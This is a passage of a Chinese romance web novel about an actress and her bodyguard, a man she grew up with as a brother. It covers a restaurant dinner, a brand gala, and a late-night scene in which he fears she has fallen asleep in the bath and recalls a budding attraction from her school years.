隔壁,程谦不再追问,转而聊起别的话题。
十几分钟后,黎宴起身去洗手间。穿过走廊时,她有意放慢脚步,目光扫过两侧的包厢。门都关着,看不出这一层有没有柏闻。
在她回来时,经过隔壁半开门的包厢,她探头看,服务生挡住了里面的食客,用英文沟通着。
“先生,请问是我们的菜品哪里做得不合适吗?您的这几道菜几乎没动。”
然后是一个低沉的男声,拒绝了服务生更换菜品的提议。
黎宴停下脚步。
找
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到了。
她躲在门外偷听服务生讲话:“这道山葵秋刀鱼是我们店的特色招牌,如果不是口味不合,您可以尝试一下呢。”
柏闻温和拒绝:“不用,谢谢。”
服务生又说了几句什么,黎宴没听仔细,因为她看见程谦往外探头了一眼,于是赶紧朝自己的包厢走了回去。
所幸程谦只是接电话途中随便看了一眼,并没太注意她的行为。黎宴重新落座后,程谦朝她点头示意,聊工作的语言也从原本的英语换成了听不懂的法语。黎宴看了眼隔壁的方向,抬手按下服务铃。
服务生很快进来:“请问有什么需要?”
这家店大概是英语服务,黎宴拿起菜单,翻到烤物那一页,指着一道盐烤青花鱼:“我要一份这个,烤制前米醋水不要刷太多,绝对不要撒山椒粉。”
服务生记下:“好的,请问还有别的需要吗?”
黎宴再翻了翻,指着另外几样菜品,有意压低了声音:“这几个都要,再来一杯无糖乌龙茶,全部送到隔壁包厢,给那位穿黑色衣服的先生。”
服务生面露诧异,又见黎宴一脸神秘的样子,顿时明白了七八。程谦的电话早就打完了,等服务生离开后,他才不辨情绪地开口:“你对保镖很照顾。”
黎宴不觉得有什么问题:“应该的,他今天没怎么吃东西。”
程谦没再接话,只是端起茶慢慢喝着。包厢里一时安静,只有庭院方向的人造景观里,隐约传来竹筒敲石的声音。
好一会儿,服务生端着菜品经过走廊。黎宴听见隔壁包厢开门的声音,服务生轻声说话,然后是柏闻低沉的回应。具体内容听不太清,但能大概听出柏闻似乎有些意外。
黎宴忽然就有些理解,为什么从前柏闻看见她多吃一碗饭,都会露出那种满足又骄傲的表情。她端起茶杯,借着喝茶的动作掩饰翘起的嘴角。
桌对面,程谦又将一切尽收眼底,镜片后的目光在黎宴脸上停留了片刻,忽然笑了笑。
“我其实有点好奇,柏队这样的人才,怎么会选择做安保这行?”
问题来得突然,黎宴微微抬眼。
程谦笑得意味不明,似乎斟酌着用词:“以他的能力和……外貌条件吧,应该能有更多的选择。”
嗒。
黎宴放下茶杯,瓷器在桌面发出清脆一响。
“职业选择是个人自由,外貌不过是锦上添花。无论是解决片场的斗殴,还是在雨林里从蛇口下救我,都足以体现出柏闻极高的专业水准,能进入金字塔尖的行业公司也证明了他这一点。我认为他相当优秀,这一点完全不需要怀疑。”
黎宴的语气还算平和,眼底却强硬得几乎没有温度。程谦怔愣一瞬,没想到她会如此直接地维护一个保镖。这样的态度,与前段时间那个总是周全客气的她截然不同。
当然,程谦也意识到自己那句话有些不够风度,旋即敛了笑容,没再继续这个话题。
“是我失礼了,你说得对。”
之后,两人用餐的气氛渐渐变得有些微妙。程谦有时会找话题,可黎宴的回应却比之前简短了许多。她依旧偶尔走神,默默想着柏闻现在是不是在吃那份烤鱼,茶烫不烫,他喜不喜欢……
很快,这顿饭到了尾声,程谦先一步出去接个工作电话。黎宴坐在包厢等了会儿,确认隔壁没动静了,这才起身走出。
柏闻站在庭院廊下。
他手里似乎在看什么,冷色调的柔光打在他身上,侧脸英俊又温柔。
忽然,他似有所感地抬头。
视线相接的那一刹,黎宴已经迈着轻快的步伐朝他走去:“吃饱了?”
每个字都带着邀功的得意洋洋。
“嗯,感谢款待。”他收起手里的东西,随手一起揣进裤袋。
黎宴背着手倾身,着重强调:“烤鱼还行吧?”
柏闻没立刻答,看着她的眼神深了些,尽管他们现在谈论过去并不合适,但仍忍不住问。
“你怎么知道我不吃秋刀鱼?”
黎宴轻哼一声:“就小时候我和奶奶出门那次,爷爷买了条秋刀鱼回来煮汤,你喝了一口就满屋子跑。后来爷爷跟我说,这鱼汤喝了能成仙,因为你喝了就变成美猴王,在屋里上蹿下跳的……”
那已经是很久很久之前的事了,至少是在黎宴念小学二年级的时候。那个年龄段关于她自己的事情,她都不记得了,却还记得家里唯一一次买秋刀鱼,也记得他不爱吃。
柏闻静静看着她,内心像被某种温暖的东西胀满。她正微微仰着头,讲着他人生中为数不多的糗事。她从小就被夸口才好,讲起故事来活灵活现。可他一直觉得,她那双眼睛才更会说话。尤其是像现在这样,专注而闪亮地望向他,真是漂亮得不像话。
程谦挂了电话,刚过拐角就撞见这一幕。
两人立在明月廊下,黎宴脸上是他从未见过的神情。女明星的身份似乎在这一刻离她很远,她像个不知愁的少女,一举一动都鲜活明媚。那位保镖插着口袋站在她身前,低头看着她又说又笑。廊灯的光落下来,将他们笼在一层温柔如水的光影里,仿佛整个世界都被他们拒绝在外。
程谦说不出什么滋味,忽然想让服务生给他倒杯茶来。
直到黎宴转头,目光无意落了过来,他才扬起一个体面的笑容:“都好了?走吧。”
回程路上,仍是黎宴开车。
但这一次,柏闻没给程谦机会,直接拉开副驾驶的门坐了进去,动作自然得仿佛这个位置天生就属于他。
程谦站在车外,看着那只没来得及伸出去的手,默了片刻,拉开后排车门坐了进去。
车厢内比来时更安静,直到送走程谦,再回到酒店停车场,天色已经不早了。
柏闻下车,走到主驾驶门外,朝黎宴伸手:“钥匙给我,我去还车。”
黎宴坐在驾驶位里仰头看他,在心里默数。
嗯,说话的字数变多了,还有语气助词,不错不错,有进步。
柏闻见她一脸沉思与自满,疑惑挑眉。
黎宴这才走出来:“还车?你真信呀,我骗人的。”
柏闻愣了下,旋即反应过来,忽然有种想笑的冲动,
黎宴笑眯眯靠近:“想笑就笑呗,被我骗到了吧?我的骗术是不是越来越高明了?”
柏闻避开了她的直接注视,没答,反而问了句别的:“晚饭吃什么?”
黎宴无语,请问他:“才刚吃完啊,你一点都没变的吗?怎么还和以前一样,吃完中饭就问我晚饭吃什么?”
柏闻自有一套理论:“日料不顶饿。”
黎宴翻他白眼,柏闻很有耐心地又问了一遍:“所以,晚饭吃什么?”
“你决定呗。”黎宴朝电梯厅走,脚步轻快。
“反正我喜欢吃什么你都知道。”
她留下这么一句,柏闻的目光追随着她雀跃的背影,直到她快走远,这才回神跟上脚步。
“哦,对了!”黎宴忽然转身,隔着两三辆车指着他说。
“那份烤鱼我是请你的,不是程谦请的,记得请回来。”
说完,她继续往电梯厅走。柏闻站在原地,看着她的身影渐渐消失,又想起刚才在日料店里,服务生端来那份盐烤青花鱼。
“是隔壁那位穿白色裙子的漂亮小姐特意嘱咐的,说要一份青花鱼,烤制前米醋水不要刷太多,您也不吃山椒粉。”
柏闻垂眸,很轻地笑了一声。
23.第 23 章
这几天,方宁发现一个不得了的事情。
宴姐和柏队之间的关系,似乎有了微妙的变化。尽管两人依旧对话不多,却和半个月前那种客气里藏刀,沉默中较劲的感觉截然不同了。
最直观的改变就是,宴姐开始把自己手里的活儿交给柏闻去干,但又仅限于需要时刻在宴姐身边的那种。
就比如,以前宴姐在片场休息,要喝水也是她去递。而现在,宴姐会头也不抬地把保温杯往前一伸,柏队就会无比自然地上前拿走。
再比如,宴姐补妆用的小镜子和口红,用完就随手放在一边。等再需要的时候,柏队就会默默将它们从衣服口袋里拿出来。有一次因为天气太热,口红有些焐化了。宴姐气呼呼地给了柏队胳膊一巴掌,柏队看着不声不响,走回来的时候居然在笑?
更比如,宴姐拍完戏,累得连话都不想说的时候,会朝柏队挥挥手。柏队直接就能领会宴姐是要回房车,还是让他去和导演打个招呼,争取原地先休息几分钟。
这种极度熟悉的相处细节太多,方宁根本数不清。虽说这样一来,她倒是轻松不少,就是不知道后续会不会有失业的风险。搞得她很想去某书上发个momo帖子,标题就叫——
“贴身助理被贴身保镖抢了工作怎么办?”
“如何高情商地提醒老板,助理的存在也很重要?”
然而,事实很快证明她的担心是多余的。经纪公司发来通告,三天后,黎宴要出席在孟甘塞玛市举办的品牌晚宴,届时柏闻和她得各司其职。
凌晨四点,剧组片场。
最后一镜拍完时,连许导叫停的声音都透着浓浓的疲惫。方宁很早就被放回酒店休息,黎宴刚从泥泞的置景里爬出来,柏闻就已经拿着水和毛巾上前接她。
他将方宁临走前的叮嘱对黎宴复述了一遍。
“现在卸妆回酒店,我车开快点你还能睡将近四个小时,品牌方安排的商务机会在早上九点到机场接。”
黎宴点点头没应声,她累得眼皮都抬不动。
回到酒店已经是凌晨四点五十,柏闻的车开得又快又稳,最大程度上给黎宴争取了一点微薄的睡眠时间。她进浴室胡乱冲了个澡,连头发都没完全吹干就摔进床里。意识沉下去的前一秒,她看了眼手机,五点零九分。
再一睁眼,就是早上八点二十了。
闹钟其实没响,是黎宴自己醒的。长期连轴转的通告让她养成了诡异的生物钟,哪怕只睡三四个小时,到点也能自动睁眼。
她呆滞地盯了几秒天花板,然后果断起床。照镜子时看见一张苍白的脸,彻底吓跑了瞌睡虫,她用冷水狠狠扑了把脸。
八点五十五,黎宴拖着方宁打包好的行李箱走出房间。柏闻已经在走廊里等她,立刻被她难看的脸色吸引了目光。
他没问她是不是没休息好这种白痴问题,默默递了瓶酸奶过来,又接过她手中的行李箱。去机场的路上,方宁在前排低声报告着今天的活动流程。
“今天飞塞玛市的航程大概两小时左右,下午两点半到酒店,三点开始做妆造,五点半拍摄出发图,六点拍物料,七点出发去晚宴场地,七点半红毯开始,八点十五分入场落座,九点半晚宴开始……品牌的全球CEO会在十点左右到我们这桌敬酒,杨姐说一定要抓住机会聊两句,争取攀点私交,明年的代言还没定下来呢。还有那个大导演,他有一部……”
黎宴靠着车窗闭目养神,疲惫得张不开嘴。
商务机是小型湾流,舱内只有八个座位。黎宴一落座就戴上眼罩,几分钟后竟真的睡着了,连起飞时的轰鸣都没能吵醒她。
她的安全带是柏闻替她系的,他就坐在她身边。等飞机平稳后,他去后舱接了杯温水,回座位后边喝边看她,半小时没移动过视线。
航程进行到一半时,气流引起机身的颠簸,柏闻看见黎宴的手指在蜷动,不出意外眼罩下的眉头也是皱着的。颠簸会引起一定程度的噪音,在她睡着时他倒毫不犹豫,伸手轻轻捂住了她的耳朵。
他的手掌很大,能完全盖住她的耳廓,传来她脸颊温热柔软的触感。黎宴在睡梦中动了动,没醒,只是无意识地侧过头,把脸埋进了他的掌心。
她蹭了蹭,找到一个舒服的位置,然后就不动了。
柏闻的手被她枕在脸下,她呼吸的温度烙印在他掌根。他没试图抽手,知道她和小时候一样,枕住了就不会松。而下一秒她印证了他的想法,果真在睡梦中抓紧了他的手腕,像小孩子占有心爱的玩具,甚至又往颈间拽了拽。
柏闻温柔地看着她,嘴角还有一丝笑意,这次明显到连方宁都能看出来。满分助理非常懂事地低下头,戴着蓝牙耳机追剧,中途没忍住时又偷瞄了几眼。
时间一分一秒地流逝,柏闻的手臂开始发麻,最后渐渐失去知觉。他保持着这个别扭的姿势没动,一路坚持到飞机开始下降。
塞玛市要到了。
下飞机后,三人被品牌方安排的专车送到酒店。刚一进门,里面早就乌泱泱等满了十几个工作人员。见主角到场,所有人立刻进入工作状态,包括刚睡醒的主角在内。
黎宴被簇拥着去看今晚出席活动的礼服,紧接着便是精细的化妆工程。整个过程她都很配合,让抬头就抬头,让闭眼就闭眼。偶尔和化妆师聊两句,语气轻松得体,完全看不出凌晨四点才收工的样子。
柏闻和方宁默默退到套房一角,暂时没什么作用可发挥。两人背对着落地窗各占一个沙发,眼睛都看向忙碌的黎宴。
方宁刚托住下巴,身旁的柏闻忽然开口。
“她一直这么连轴转,不休息?”
方宁无奈地叹了口气:“怎么说呢?宴姐好像……不喜欢休息。”
“什么意思?”
“就是字面意思。”面前有工作人员抱着衣服经过,方宁压低了声音。
“宴姐总是把自己的行程排得特别满,去年十月份最夸张。她上午在北京拍广告,下午飞湖南录综艺,晚上又飞上海参加品牌活动,第二天一早再飞回横店继续拍戏。三天睡了不到六小时,在VIP候机室接水的时候,站着都能睡着。”
柏闻皱了皱眉:“她…缺钱吗?一定要这么拼?”
方宁摇头:“我也不清楚,我是去年才接手宴姐助理的,那时候她就已经这样了,不过……”
她迟疑了下,见周围没人注意这边,才继续说:“柏队,你问我才说的,你别告诉宴姐我大嘴巴啊。”
柏闻点了下头。
“宴姐之前的助理叫刘玲,跟了宴姐两三年吧,也是因为家里逼她考公才离职的。交接工作的时候,她跟我说了点……给宴姐当助理的注意事项。”
方宁几乎是用气声在说话。
“刘玲说宴姐一个人在家的时候,我们当助理的得多留意。有次她早上过去,发现宴姐坐在客厅地上,周围全是撕碎的剧本。可卧室里的床铺又没动过,估计是在那坐了一晚上,眼睛都是肿的。宴姐一看见刘玲进来,又笑着问她早餐吃什么,跟什么都没发生过一样。”
柏闻手里转着的打火机停了。
“还有一次,活动取消空出一天假。刘玲本想陪宴姐出去逛街,宴姐却说想自己待着。等刘玲晚上一直联系不上人,过去拿备用钥匙进门,才发现宴姐抱着膝盖缩在角落里,眼睛直勾勾地盯着墙壁。刘玲叫了她好几声都没反应,给人吓坏了,赶紧过去摇她。宴姐就像是突然醒过来一样,愣愣地问刘玲怎么来了。”
闻言,柏闻整个人都定住了,胸口像被什么东西狠狠重击了下,闷得发痛。
他不敢开口,不敢问黎宴这是怎么了。他几乎瞬间就明白了所有,只要他转头
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朝玻璃看一眼,就能发现上面映出的罪魁祸首。
“就这还不是最严重的。”
方宁还在说着。
“宴姐的家可大了,但里面有几间房的装修风格特别不同,里面的床也都铺得整整齐齐,每周还会找保洁进去打扫。我本来还纳闷这件事,你说宴姐从来不请朋友去家里玩,费这功夫干什么?直到有天我去了一趟,你猜怎么着,正赶上宴姐吃饭。”
“那桌上整整齐齐摆了四副碗筷,其中三副都是空的!就宴姐一个人在那夹菜,有时还给空碗夹。”
“我当时汗毛都竖起来了,宴姐跟没事人一样,还问我吃了没。我看她眼神挺清醒的,也不像精神出问题的样子。后来我才知道宴姐家的情况,爷爷奶奶都走了,好像还有个哥哥是吧?我一下子就想通了,估计那些房间,本来就是留给看不见的人住的吧……”
方宁沉浸在回忆里,前方工作人员来来往往,黎宴在笑,笑声轻快地传来。
“她哥哥……”
柏闻开口,嗓音极度艰涩。
“她有提起过他吗?”
“很少,宴姐不怎么提家里的事,就一回吧。”
方宁想了想。
“有次宴姐让我联系个靠谱的电脑装机商,说想组一台顶配的5090。可宴姐平时也不怎么打游戏,我问她买这么好的配置干嘛,宴姐说她哥哥生日快到了,是送他的礼物,她哥喜欢打游戏。”
“……”柏闻俊朗的脸像被冰封,一点一点失去了血色。
他攥紧了手里的打火机,却更像是亲手扼住了自己的心脏,用力挤压直至不堪重负,在那些话里烂得血肉模糊。
方宁在身旁嘀咕。
“我从没见过宴姐她哥,你说这人得忙成什么样?过年不回来就算了,平常连一通电话都不打。按理说家中长辈都走了,就剩两个孩子,关系不是该更亲密些吗?这当哥的怎么忍心……”
这些声音渐渐在耳边模糊远去,直至柏闻再也听不见任何一个字。
他的唇抿得发白,遥远的旧忆将痛苦无限拉长,钻进他身体里的每一根神经,混乱交错,拧成死结。
他缓缓抬头,重新看向黎宴。
品牌公关让她先试一下礼服的尺寸,造型师正在帮她调整腰线。那是一条VL的当季礼服,墨绿色丝绒的材质,剪裁设计极尽优雅,衬得她身段玲珑,气质高贵。聊天时她微微侧身,检查了下背后的拉链,造型师又说了句什么,逗得她笑了一下。
那么从容又耀眼。
和他记忆中那个会因为数学题做不出来而鬼哭狼嚎,会因为他打球晚回家十分钟就蹲在门口等的小女孩,仿佛不是同一个人。
可她本就该走这样一条星光璀璨的大道,她天生就该是这样的人。
柏闻的喉咙紧得发苦。
他想起四年前那个雨夜,她漂洋过海来找他,而他用那么残忍的方式将她推开。他以为只要自己的刀够快,斩断了过去,她就能往前走了。
他想过她会难过,受伤,痛苦,但这些都是有时效的。然而他现在才知道,原来当年那把刀从未落地,被她带回国内,一直留在她身上。在时间里变钝,生锈,日日夜夜凌迟着她。
为她好的是哥哥,将她推进深渊的也是哥哥。
最该一直留在身边保护她的人是哥哥,而那个缺席了四年的人,还是哥哥。
这些年,他在网络上刷到过她的消息,很多很多。那些精修的照片里,她总是笑得灿烂,如粉丝所说的那样眼里有光。无数个采访视频,她说话得体,情商很高。粉丝上传的机场图里,她对着镜头挥手,亲切开朗。
他以为她在慢慢过得很好,以为自己离开是对的。
可现在才知道,那些都是假的,是她演出来的。
而这一切,都是因为他。
24.第 24 章
黎宴长了张乱按快门都出片的脸,下午六点半不到,出发图与物料便已拍摄完毕。
摄影师快速导出原片,品牌公关现场筛选。三分钟后,九张原图打包发往国内。十五分钟后,文案与精修图一起返稿,方宁登录黎宴的账号发布了首条活动微博。
黎宴正对着全身镜最后一次检查造型,品牌公关用英语在旁边提醒。
“Aeliana,我们该出发了,车程大概二十五分钟。”
“当然。”黎宴抿了抿口红,提裙转身。
她一眼就看见身后西装革履的柏闻。
他的身材比例本就优越,尤其适合这样精心裁剪的制服。黑色西装笔挺地裹住他宽阔的肩与劲窄的腰,同色系领带将衬衫领口收束得一丝不苟。
这是她第一次看见哥哥穿正装,比她从前想象过的任何样子都要有型。
见她投来视线,柏闻微调耳麦后立刻上前,走在她侧前方几步的位置。不只是他,黎宴出门这一路都有品牌方安排的保镖开道。酒店门口停着三辆黑色宾利,拱卫着最中间那辆加长林肯,数不清的粉丝在警戒线外声浪喧哗。
黎宴落座车内,柏闻随即探身进入副驾驶。林肯启动后,他抬眼看向后视镜里的黎宴,耀眼夺目,美丽得不可方物。
一股骄傲悄然漫上。
晚宴设在塞玛市皇家植物园的玻璃房。
夜幕降临,整座花园亮起千百盏灯,宛如一条璀璨银河。偌长的红毯从入口一直铺向主花房,两侧挤满了国际媒体与本地名流。
林肯停驻,一双考究的黑色皮鞋率先踏上红毯,柏闻侧身拉开车门,黎宴下车的瞬间,闪光灯如暴雪般袭来。
她挽着品牌亚太区总裁的手臂走上红毯,微笑,挥手,在指定位置转身定格,每一个动作都落落大方,从容优雅。红毯另一侧,柏闻始终走在警戒线边缘。他步伐沉稳,目光扫过熙攘的人群,抬手起落间拦下好几个试图越过的身影。
进入主花房后,黎宴被引至品牌全球CEO面前。对方是一位六十岁左右的法国女士,与她轻轻贴面吻颊,友好交流了几句便含笑分开。接下来的合影环节持续了近二十分钟,随后又是接连不断的媒体采访,国内国外,短炮长枪。
待黎宴终于被引至会场落座时,晚宴已即将开始。此次宴席上的东方面孔不少,黎宴无疑是其中最夺目的那一位。品牌VIC们纷纷上前邀她合影,她一一配合,也对同席其他来宾的注目,回以得体的颔首致意。
柏闻就站在十来步外,隔着攒动的人影与她目光相接。她以为他会移开视线,没想到他看得十分大方,甚至微微挑了下眉毛。
黎宴只在小时候幻想过自己和哥哥变成大人的样子,但小小年纪的她想象不出柏闻长大的样子,只知道他长大以后一定也是帅哥。
那身西装穿在他身上……真是要命。
这时,侍者上前斟酒,黎宴定神后将视线收回。晚宴是标准的法式长桌,前菜是鹅肝配无花果酱。她只象征性地尝了一小口,始终注意无处不在的相机镜头。
席间,品牌CEO走到这边,主动与黎宴交谈,从珠宝设计聊到东方美学,既是聊天也是考察。黎宴早就做过功课,不仅回答专业,态度也足够谦逊。聊到兴起处,CEO向她举杯。
“关于明年的早春系列,我期待能在接下来的冬季大秀上看见你的诠释。”
“荣幸之至。”黎宴微笑回敬,双方轻轻一碰。
晚宴过半时,黎宴的目光扫向斜对面那桌,国内知名的大导演金亿泽落座在那。她牢记杨姐安排的任务,起身过去很自然地打了个招呼。两人简短寒暄了几句,黎宴适时地以不打扰为由告辞,转而向洗手间走去。
柏闻的目光落在她单薄的后背。
他回想刚才她在聚光灯下谈笑风生的样子,这是他第一次见到名利场里的她,骄矜明艳,美得很有锋芒。可她今天几乎没怎么吃东西,酒倒喝了不少,估计胃不会好受。
洗手间在花房另一侧的走廊尽头,需要穿过一条满是热带植物的玻璃长廊。黎宴提着裙摆小心走着,目光无意一瞥,却看见一双缠吻的影子。
吻得很激烈,难舍难分。
她礼貌地移开目光,脚步却已惊动了对方。被拥住的女人慌忙遮脸,那男人反倒抬头望过来,露出一张被情欲染红的脸。
向明思?
对方也在同一时间认出了她,轻哼一声:“黎宴?”
黎宴讶然,冤家路窄,这世界真小。
向明思扯了扯微乱的领口,向前走了两步,笑得意味不明:“这么巧,你也来……透气?”
他的语气很有意思,黎宴神色平静:“路过而已,你们继续。”
她转身就走,向明思的声音却从身后追来:“别急着走啊,从上半年剧组杀青后,咱们也好久没见了吧?”
黎宴脚步未停,懒得搭理。
“我记得那时候啊……”向明思夹枪带棒地提高了声音。
“编剧老师本来给咱们加了场挺有张力的吻戏,可惜了,黎老师的团队看不上,硬是给删了,说什么口水过敏?未免有些太荒谬了。”
向明思轻笑一声。
“现在看黎老师在品牌活动上如鱼得水,果然是眼光高,要成腕儿的人。所谓
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的尊重表演,应该也就是对外喊的口号罢了。”
黎宴终于停下,在走廊清冷的光里转过身,淡淡扫了他一眼。
“向老师记性真好,不过我记得那场吻戏,从人物逻辑到剧情推进上都显得很多余,究竟是怎么来的呢?”
向明思看着她故作疑惑的样子,后槽牙一紧。黎宴反倒继续,语气甚至称得上温和热心。
“不过,既然向老师这么念念不忘,我可以向你下部戏的导演建议,给你多加几场吻戏,各种机位,条条保过。毕竟…”
她的目光掠过向明思唇边的口红印,多了几分戏谑。
“您看起来确实很需要。”
“你——!”
向明思挂不住脸上的笑,下意识想上前。就在他抬脚的瞬间,侧方通道的阴影里,一道挺拔的黑色身影不疾不徐地走了出来。
柏闻在黎宴身前站定,恰好阻断了向明思所有靠近的可能。他没有多余动作,只是抬起眼,目光平平地落在向明思脸上。
向明思硬生生刹住脚步,后面的话全噎在喉咙里。红毯上他见过这个人,认出是黎宴的贴身保镖。
黎宴扬起下巴,笑容挑衅,一脸“你能拿我怎样”。
这人看上去不好惹。
长廊里一时安静。
柏闻见他没有进一步动作,这才侧过半张脸,朝黎宴道:“洗手间还去么?”
黎宴轻哼一声,提起裙摆转身便走,完全没将向明思放在眼里。后者气得咬了下牙根,目光追了她两秒,柏闻微一挪步,挡住了他的视线。
柏闻依旧没说话,向明思却觉得他的眼神冷得吓人,被盯得莫名脊背一凉。
最终,向明思脸色难看地转身,对着身后不远处的女伴没好气地低斥:“走了!”
二人快步离开,背影略显仓促。直至彻底消失在走廊尽头,柏闻才收回视线,原地静立着等黎宴回来。
没等多久,走廊另一端出现一抹墨绿色的倩影。
黎宴刚才在洗手间门口遇见方宁,对方正捧着保温杯和胃药等她。黎宴太了解自家助理,不用问便知道是谁的授意。此刻经过柏闻身边,她目不斜视,嘴角却明晃晃地翘了起来。
她没问他为什么知道,为什么会出现。她知道他什么都知道,也知道他总会在。
只是这一次,穿着高跟鞋,提着裙摆小心翼翼走路的她,忽然感觉身后一轻。
黎宴回头。
柏闻弯着腰,那双将她从小牵到大的手,正一点一点拢过她成人后的裙摆。
见她转身投来视线,他没说话,只是托着那片裙摆,等她继续往前走。
25.第 25 章
晚宴其实在十一点就结束了,黎宴又和从国内来的几位嘉宾寒暄了半小时,终于得以脱身。
她累极了,协调了后台的更衣室换装,礼服与珠宝都由品牌方的人仔细收走。等回到酒店时,已经是凌晨一点多。
黎宴进门后一脚踢掉高跟鞋,光脚落地的瞬间,才有了被解放的感觉。本就睡眠匮乏的她,像被抽干了所有力气,困得几乎能倒地就睡。
“宴姐,今早十点的飞机回普湄南,你八点半起床就行,早点休息吧。”
方宁一边交代一边收拾东西,黎宴强撑着点了下头,声音里透着浓浓的疲惫:“你也去睡吧。”
方宁离开后,套房内只剩下她和柏闻。她连再多说一个字的力气都没有,直接进了卧室将门一关,浴室里很快传来水声,柏闻也回到安保间里洗漱。
他从来都比黎宴洗得快,出来后便在客厅里静坐着。
黄昏名利场的喧嚣褪去,夜晚一片寂然。柏闻看向那扇闭合的卧室门,脑子里却反复回想着昨天的每一幕。她在飞机上枕着他的手睡着的样子,化妆时强打精神的样子,晚宴上星光熠熠的样子,还有方宁说得那些话……
浴室里已经很久没传来水声了。
柏闻从不相信黎宴的洗澡效率,以前在家总是他等着她出来,然后再被她气鼓鼓吐槽一句“催什么催”。她已经进浴室很久了,久到不太对劲。
他起身走到卧室门外,轻轻叩门。
没有回应。
“黎宴?”他开口,加重力道又叩了两下,“你还好吗?”
依旧安静。
柏闻的心跳忽然顿了一拍,拧了拧门把手,没锁。他推开门,卧室里只亮着一盏床头灯。浴室的门关着,磨砂玻璃里透出冷光。
虽然她很有可能在泡澡时睡着了,可一旦溺水……
柏闻不敢往下想。
“黎宴!”他快步走到浴室门口,用力拍门,“能听见吗?应一声。”
里面毫无声息。
柏闻瞬间警敏,没由来地想起方宁说过的那些话。不能让她一个人待着,要多留意,她一个人待着会出事……
他立刻拿出手机联系方宁,电话响了七八声无人接通,转而打开微信,十几条消息甩过去一点回音都没有。
柏闻记得方宁住在同酒店的四楼,赶过去叫醒她再回来至少需要五六分钟。黎宴一个人关在浴室里,这期间可能发生任何事。
顷刻间,柏闻呼吸加重,一想到她有可能溺水,脑子里那根紧绷的弦便断了。他拧了两下浴室的门把,从里面反锁了,当即后退一步,抬脚——
砰!
一声闷响,浴室门被硬生生踹开。
柏闻几乎是闭着眼冲进去的,直到听见平稳的呼吸声,他才局促地将眼睛睁开一道缝。浴室里雾气氤氲,黎宴靠在浴缸边睡着了。绵密的白色泡沫浮在水面上,堪堪遮住了她锁骨以下的身体。
柏闻松了口气,单膝跪在浴缸边,伸手轻轻拍了拍她的脸:“黎宴?醒醒。”
面前的人毫无反应,柏闻又重复了几遍。黎宴的睫毛颤了颤,缓缓睁开一道眼缝,目光涣散地落在他身上。
浴室里光线冷清,空气中却暖香四溢。柏闻见她目光不瞬地看着自己,看了很久很久,久到他认为她该清醒了。
然后,她的眼眶忽然红了。
“……哥?”她的声音轻而脆弱,带着浓重的鼻音,像是梦呓。
经年久别的称呼,柏闻的呼吸立刻被攥住了。
他没有第一时间回应,甚至连嘴都张不开,静了好一会儿,才低沉着嗓音说:“你泡太久了,起来好不好?”
黎宴恍若未闻,眨了下眼睛,一滴泪顺着脸颊滑落,砸进丰盈的泡沫里。柏闻怔愣住了,下意识想替她擦泪,没想到她伸出湿漉漉的手臂,一把环住了他的脖颈。
“哥……”她往他肩窝里埋,一声声喊不够似的,声音哽咽发颤,“哥哥……”
柏闻浑身都僵住了。
她的手臂湿滑且柔软,紧贴着他后颈的皮肤,沐浴露的香气直往他肺里钻。她又低喃了句什么,很含糊,潮湿的呼吸一寸寸拂过他劲削的锁骨,刺激得他呼吸紊乱,血液都在沸腾。
柏闻的脸瞬间烧了起来,耳根烫得吓人。他想推开她,又怕动作不慎搅散了浴缸里的泡沫。只能艰难维持着这个挑战理智的姿势,右手死死撑着浴缸边缘。
“黎宴,你醒醒。”他的声音被烧得低哑,“松手……”
黎宴陷在遥不可及的往日旧梦里,在他肩上蹭了蹭,像小时候那样撒娇:“哥哥抱……”
她的尾音越来越轻,像是又睡沉了,环在他颈后的手臂忽地一松,整个人往水里滑去。
柏闻蓦然凌乱,本能地收紧手臂想稳住她,却不料她的手臂落了水,顿时泡沫与水花飞溅,旖旎春色若隐若现。他仓促将视线闪开,不得不将她往怀里一带,胸口立刻被她湿漉漉的脸颊浸透一大片。手忙脚乱过后,她靠在他的心口,呼吸渐渐匀长,竟然还能睡得很香。
柏闻僵跪在浴缸边,怀里是她香软温热的身体。他的视线死死定在墙面的瓷砖上,不敢垂落分毫。
该死,心跳要在耳朵里炸了。
柏闻几次深呼吸,试图用意志力强压胸口里那股来势汹汹的躁动。然而他在她面前,最欠缺的就是意志力。浴室的热气似乎入侵了他的大脑,某些被刻意封存许久的记忆不受控地涌了上来,蛮横又不讲道理。
他想起她升高一的那个九月,女生校服是白衬衫加藏蓝色背心裙,很普通的款式,但穿在她身上……不一样。
开学第一天的早晨,她站在玄关换鞋,弯腰时衬衫绷紧,不慎透出内衣扣的轮廓。他的视线像被烫到一样闪走,脱口而出:“你能不能穿件打底?”
她当时莫名其妙:“衬衫还不够吗?”
他的语气忽然就变得古怪:“……太透了。”
她听完愣住了,脸慢慢涨红,然后劈头盖脸给他一顿。
“柏闻你变态啊!看哪儿呢?”
她的反应是对的,连他自己也意识到这样的提醒,即便是出自哥哥之口也很冒昧。只是看她马上要去学校了,他一时情急才……
最后,面对气鼓鼓的黎宴,他只扔下一句闷闷的“随你”就出门打球去了
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。但那一整天他都在想这件事情,甚至下午还去她学校的班级走廊路过了一次。
她在和女同学说笑,秋热的天气让她挽起了袖子,露出纤细白皙的手腕。可他的第一反应却是,她同桌怎么是个男的?那男的想干什么?是不是靠她太近了?
他憋闷地走了,等晚上放学,直接去敲了她的房门。
“干嘛?”她还在生气。
他把自己的一件纯棉T恤递了过去:“穿这个当打底,洗干净了。”
她瞪大眼睛,一脸他不可理喻:“你的衣服?这么大我怎么穿?”
“穿在里面,衬衫就不透了。”他的语气有些硬邦邦的不自然,“不要就扔了。”
她不知道他哪根筋不对,但还是接过衣服,表情古怪地看了他一眼,关上了卧室门。
第二天早晨,他看见她的衬衫领口里,露出一小截他的T恤领子,灰蓝色的,半新不旧,他一下就松了口气。
可就在她马上要出门时,她忽然顿住脚步,小声嘀咕了句。
“哥,你的衣服有股你的味道,怪怪的。”
他当时愣了一下。
什么味道?洗衣液?还是……别的?
他没继续问,她也没再说。只是那天以后,她似乎也慢慢习惯了在衬衫里穿着那件T恤。有时他半夜起床喝水,看见那件T恤晾在阳台上,和他的衬衫,她的校服挂在一起。夜风一吹,短暂相贴,又轻轻分开。
一种很隐秘的,说不清道不明的满足感,开始悄悄盘踞在他心里。
他知道这不太对劲。
哥哥不该对妹妹穿自己的衣服生出这种占有式的安心,但他不想深究,就像同样不愿细想,为什么她那件有些透的校服会那么让他心烦意乱。
可如今不同了。
二十六岁的柏闻早已知道了答案。
